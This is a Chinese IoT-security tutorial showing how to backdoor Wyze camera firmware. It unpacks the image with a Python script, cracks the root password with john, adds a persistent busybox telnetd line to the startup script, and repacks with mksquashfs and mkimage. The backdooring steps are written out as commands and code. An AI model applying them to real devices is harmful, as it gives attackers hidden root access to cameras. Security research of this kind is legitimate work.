前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >物联网安全|手把手带你制作恶意固件

物联网安全|手把手带你制作恶意固件

作者头像
物联网安全小编
发布2020-06-23 16:26:17
1.4K0
发布2020-06-23 16:26:17
举报
文章被收录于专栏:物联网IOT安全

今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章

今天我们选择的是一款Wyze摄像头,固件版本(demo_v2_4.9.5.36),后台回复<摄像头>获得下载地址

首先使用binwalk分析一下固件:

代码语言:javascript
复制
binwalk -t demo_v2_4.9.5.36.bin

分析1中的uImage信息,该引导程序告诉了我们很多关于固件的信息,例如架构MIPS、创建时间、系统类型还包括了CRC校验等等

根据第二部分中的uImage头信息,可以发现内核为Linux-3.10.14

第三部分为两个SquashFS文件系统,SquashFS是一种只读文件系统

第四部分是一个JFFS2文件系统

现在我们可以使用binwalk -e提取所有的文件,但是我们为了一会儿方便的打包,我们自己写个程序提取文件。

代码语言:javascript
复制
#!/usr/bin/env python3

import sys

class Firmwarepart:
    def __init__(self,name,offset,size):
        self.name = name
        self.offset = offset
        self.size = size

firmware_parts = [
    Firmwarepart("uimage_header",0x0,0x40),
    Firmwarepart("uimage_kernel",0x40,0x200000),
    Firmwarepart("squashfs_1",0x200040,0x350000),
    Firmwarepart("squashfs_2",0x550040,0xa0000),
    Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)
]

if sys.argv[1] == 'unpack':
    f = open(sys.argv[2],"rb")
    for part in firmware_parts:
        outfile = open(part.name,"wb")
        f.seek(part.offset,0)
        data = f.read(part.size)
        outfile.write(data)
        outfile.close()
        print(f"Wrote {part.name} - {hex(len(data))} bytes.")

运行

代码语言:javascript
复制
wyze_extractor.py unpack demo_v2_4.9.5.36.bin

提取后的文件如下图所示:

对于squashFS文件系统的提取,我们使用unsquashfs来实现:

代码语言:javascript
复制
unsquashfs -d squashfs_2_out squashfs_2

对于jffs2文件系统的提取,我们使用jefferson来实现:

代码语言:javascript
复制
jefferson -d jffs2_out jffs2

提取之后检查一下敏感信息,shadow文件如下:

使用john破解一下

现在我们知道了root的账号密码,如果开启了ssh服务,那我们就可以通过ssh登陆到主机。找一下系统启动项:

代码语言:javascript
复制
vi /etc/init.d/rcs

我们可以看到系统在启动时的确是启动了telnet服务,但是实际上telnet服务并未启动(通过扫描端口发现)。

我们在解包后的固件里直接搜索

代码语言:javascript
复制
grep -r telnet .

可以看到在iCamera文件里,telnet服务被禁用掉了。

事实上,该摄像头使用的telnet服务实际上为busybox中的telnet,所以我们可以将启动脚本中的telnet修改为:

代码语言:javascript
复制
busybox telnetd &

现在这个服务就不会被kill掉了,接下来我们要将这几个文件系统重新打包并生成固件。

我们使用unsquashfs查看一下原来的文件系统信息:

代码语言:javascript
复制
unsquashfs -s squashfs_1

接下来使用mksquashfs命令将更改后的新文件系统打包

代码语言:javascript
复制
mksquashfs squashfs_1_out/ squashfs_1_new -comp xz -b 131072

我们再将之前的程序加上一个打包功能,这样我们就可以把这两个squashfs文件系统和jffs2文件系统打包起来。

代码语言:javascript
复制
#!/usr/bin/env python3

import sys

class Firmwarepart:
    def __init__(self,name,offset,size):
        self.name = name
        self.offset = offset
        self.size = size

firmware_parts = [
    Firmwarepart("uimage_header",0x0,0x40),
    Firmwarepart("uimage_kernel",0x40,0x200000),
    Firmwarepart("squashfs_1",0x200040,0x350000),
    Firmwarepart("squashfs_2",0x550040,0xa0000),
    Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)
]

if sys.argv[1] == 'unpack':
    f = open(sys.argv[2],"rb")
    for part in firmware_parts:
        outfile = open(part.name,"wb")
        f.seek(part.offset,0)
        data = f.read(part.size)
        outfile.write(data)
        outfile.close()
        print(f"Wrote {part.name} - {hex(len(data))} bytes.")
elif sys.argv[1] == 'pack':
    f = open(sys.argv[2],"wb")
    for part in firmware_parts[1:]:
        i = open(part.name,"rb")
        data = i.read()
        f.write(data)
        padding = (part.size - len(data))
        print(f"Wrote {part.name} - {hex(len(data))} bytes.")
        print(f"Padding {hex(padding)}")
        f.write(b'\x00' * padding)

这样我们仅仅将文件系统打包,至于生成镜像的uImage header部分我们使用其他工具。先使用binwalk查看一下uImage_header:

着重关注以上几个部分,接下来使用mkimage来生成镜像:

代码语言:javascript
复制
mkimage -A MIPS -O linux -T firmware -C none -a 0 -e 0 -n jz_fw -d demo_backdoored.bin demo_images.bin

可以看到我们生成的镜像和之前几乎相同,因为没有实际的摄像头,此处就不对结果进行验证了。最终效果是摄像头启动后可开启telnetd服务,我们可以通过root账号密码管理摄像头。

参考链接:

代码语言:javascript
复制
https://www.youtube.com/watch?v=hV8W4o-Mu2o
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 物联网IOT安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档